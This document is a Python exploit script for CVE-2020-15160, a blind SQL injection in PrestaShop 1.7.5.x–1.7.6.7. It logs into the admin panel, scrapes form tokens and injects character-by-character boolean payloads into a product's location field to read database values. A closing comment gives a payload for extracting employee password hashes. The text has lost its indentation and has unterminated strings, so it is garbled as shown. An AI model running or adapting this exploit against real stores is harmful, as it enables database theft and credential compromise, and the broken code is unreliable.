# Date: 2021-04-08
# Exploit Author: Vanshal Gaur
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.5.x < 1.7.6.8
# Tested on: Debian 10 (buster)
# CVE : CVE-2020-15160
#!/usr/bin/python3
'''
Setup Vulnerable Docker on "localhost:8080":
docker network create prestashop-net
docker run -ti --name mysql_z --network prestashop-net -e
MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7
docker run -ti --name prestashop_z --network prestashop-net -e
DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7
'''
import requests
import sys
from lxml import html
import re
if len(sys.argv) != 7:
print(
'''
Exploit By: Vanshal Gaur
Twitter Handle: @Vanshalg
Exploit: CVE-2020-15160 PrestaShop blind Sql Injection 1.7.5.0 < 1.7.6.8
Before Running the script make sure to login and change "Combinations" to "Simple product" of the product and give that productid.
Script will retrive the output of user() function, edit payload in script to retrive other data (Tested With Prestashop 1.7.6.7)
Usage: python3 {} email password localhost 8080 productid /adminpath
python3 exploit.py "
'''.format(sys.argv[0])
)
sys.exit(1)
print("Exploiting...(Be Patient)\n")
email = sys.argv[1]
password = sys.argv[2]
target_host = sys.argv[3]
target_port = sys.argv[4]
product_id = sys.argv[5]
admin_path = sys.argv[6]
target = "http://"+target_host+":"+target_port
# proxies = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}
s = requests.Session()
def login(s,target,password,email,admin_path):
url = target+admin_path+"/index.php"
data = {"ajax": "1", "token": '', "controller": "AdminLogin",
"submitLogin": "1", "passwd": "TEMP", "email":
"
data["passwd"] = password
data["email"] = email
r = s.post(url, data=data)
login(s,target,password,email,admin_path)
token_ext = s.get(target+admin_path+"/")
token_junk =
re.findall("sell/catalog/pro.*_token\=.*",token_ext.text)
token_spit = re.split("\"",token_junk[0])
token_2 = re.split("\?",token_spit[0])
token = token_2[1]
def
productDetails_formtoken(s,target,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip,
deflate", "Connection": "close", "Upgrade-Insecure-Requests":
"1"}
q =
s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output =
tree.xpath("//input[contains(@name,'form[_token]')]/@value")
form_token = ''.join(output)
return form_token
form_token = productDetails_formtoken(s,target,product_id,admin_path)
def
productDetails_form_location(s,target,token,product_id,admin_path):
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip,
deflate", "Connection": "close", "Upgrade-Insecure-Requests":
"1"}
q =
s.get(target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token,headers=headers)
tree = html.fromstring(q.text)
output =
tree.xpath("//input[contains(@name,'form[step3][location]')]/@value")
form_location = ''.join(output)
return form_location
def
sqli(s,token,form_token,payload,target,product_id,admin_path):
for j in range(32, 126):
sql_payload = payload.replace("[CHAR]", str(j))
url =
target+admin_path+"/index.php/sell/catalog/products/"+product_id+"?"+token
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language":
"en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest", "Connection": "close"}
data = {"form[step1][name][1]": "Blind Sql Injection @Vanshalg",
"form[step1][type_product]": "0",
"form[step1][description_short][1]": "<p><span
style=\"font-size:10pt;font-style:normal;\">Regular fit, round
neckline, short sleeves. Made of extra long staple pima cotton.
</span></p>\r\n<p></p>",
"form[step1][description][1]": "<p><span
style=\"font-size:10pt;font-style:normal;\"><span
style=\"font-size:10pt;font-style:normal;\">Symbol of lightness
and delicacy, the hummingbird evokes curiosity and
joy.</span><span
style=\"font-size:10pt;font-style:normal;\"> Studio Design'
PolyFaune collection features classic products with colorful
patterns, inspired by the traditional japanese origamis. To wear
with a chino or jeans. The sublimation textile printing process
provides an exceptional color rendering and a color, guaranteed
overtime.</span></span></p>",
"form[step1][features][0][feature]": "1",
"form[step1][features][0][value]": "4",
"form[step1][features][0][custom_value][1]": '',
"form[step1][features][1][feature]": "2",
"form[step1][features][1][value]": "8",
"form[step1][features][1][custom_value][1]": '',
"form[step1][id_manufacturer]": "1", "show_variations": "0",
"form[step6][reference]": "demo_1", "form[step1][qty_0_shortcut]":
"0", "form[step1][price_shortcut]": "23.900000",
"form[step1][price_ttc_shortcut]": "23.9",
"form[step2][id_tax_rules_group]": "1",
"form[step1][id_category_default]": "4",
"form[step1][categories][tree][]": "2",
"form[step1][categories][tree][]": "3",
"form[step1][categories][tree][]": "4", "ignore": "4",
"form[step1][new_category][name]": '',
"form[step1][new_category][id_parent]": "2", "form[step3][qty_0]":
"0", "form[step3][minimal_quantity]": "1", "form[step3][location]":
"TEST", "form[step3][low_stock_threshold]": '',
"form[step3][virtual_product][is_virtual_file]": "0",
"form[step3][virtual_product][name]": '',
"form[step3][virtual_product][nb_downloadable]": '',
"form[step3][virtual_product][expiration_date]": '',
"form[step3][virtual_product][nb_days]": "0",
"form[step3][pack_stock_type]": "3", "form[step3][attributes]": '',
"product_combination_bulk[quantity]": '',
"product_combination_bulk[cost_price]": '',
"product_combination_bulk[impact_on_weight]": '',
"product_combination_bulk[impact_on_price_te]": '',
"product_combination_bulk[impact_on_price_ti]": '',
"product_combination_bulk[date_availability]": '',
"product_combination_bulk[reference]": '',
"product_combination_bulk[minimal_quantity]": '',
"product_combination_bulk[low_stock_threshold]": '',
"product_combination_bulk[_token]":
"0Dj8tJ3zd6YfSNgyxRFe6CfNbuMac6mn8rm_Gd52-to",
"form[step3][out_of_stock]": "2", "form[step3][available_now][1]":
'', "form[step3][available_later][1]": '',
"form[step3][available_date]": '', "form[step4][width]": "0",
"form[step4][height]": "0", "form[step4][depth]": "0",
"form[step4][weight]": "0",
"form[step4][additional_delivery_times]": "1",
"form[step4][delivery_in_stock][1]": '',
"form[step4][delivery_out_stock][1]": '',
"form[step4][additional_shipping_cost]": "0.000000",
"form[step2][price]": "23.900000", "form[step2][price_ttc]":
"23.9", "form[step2][unit_price]": "0.000000",
"form[step2][unity]": '', "form[step2][ecotax]": "0.000000",
"form[step2][id_tax_rules_group]": "1",
"form[step2][wholesale_price]": "0.000000",
"form[step2][specific_price][sp_id_shop]": "1",
"form[step2][specific_price][sp_id_currency]": '',
"form[step2][specific_price][sp_id_country]": '',
"form[step2][specific_price][sp_id_group]": '',
"form[step2][specific_price][sp_id_product_attribute]": '',
"form[step2][specific_price][sp_from]": '',
"form[step2][specific_price][sp_to]": '',
"form[step2][specific_price][sp_from_quantity]": "1",
"form[step2][specific_price][leave_bprice]": "1",
"form[step2][specific_price][sp_reduction]": "0.000000",
"form[step2][specific_price][sp_reduction_type]": "amount",
"form[step2][specific_price][sp_reduction_tax]": "1",
"form[step2][specificPricePriority_0]": "id_shop",
"form[step2][specificPricePriority_1]": "id_currency",
"form[step2][specificPricePriority_2]": "id_country
data["form[_token]"] = form_token
data["form[step3][location]"] = sql_payload
data["form[id_product]"] = product_id
# print(sql_payload)
r = s.post(url, headers=headers, data=data)
if(productDetails_form_location(s,target,token,product_id,admin_path)
== "1"):
return j
return None
for i in range(1,41):
payload = "0'|(ascii(substr(user(),%d,1)) regexp [CHAR])#" % i
extracted_char =
chr(sqli(s,token,form_token,payload,target,product_id,admin_path))
sys.stdout.write(extracted_char)
sys.stdout.flush()
print("\n(+) done!")
#PAYLOAD TO EXTRACT PASSWORD:
# payload: 0'|ascii((substr((select passwd from ps_employee),1,1))
regexp [CHAR]#)

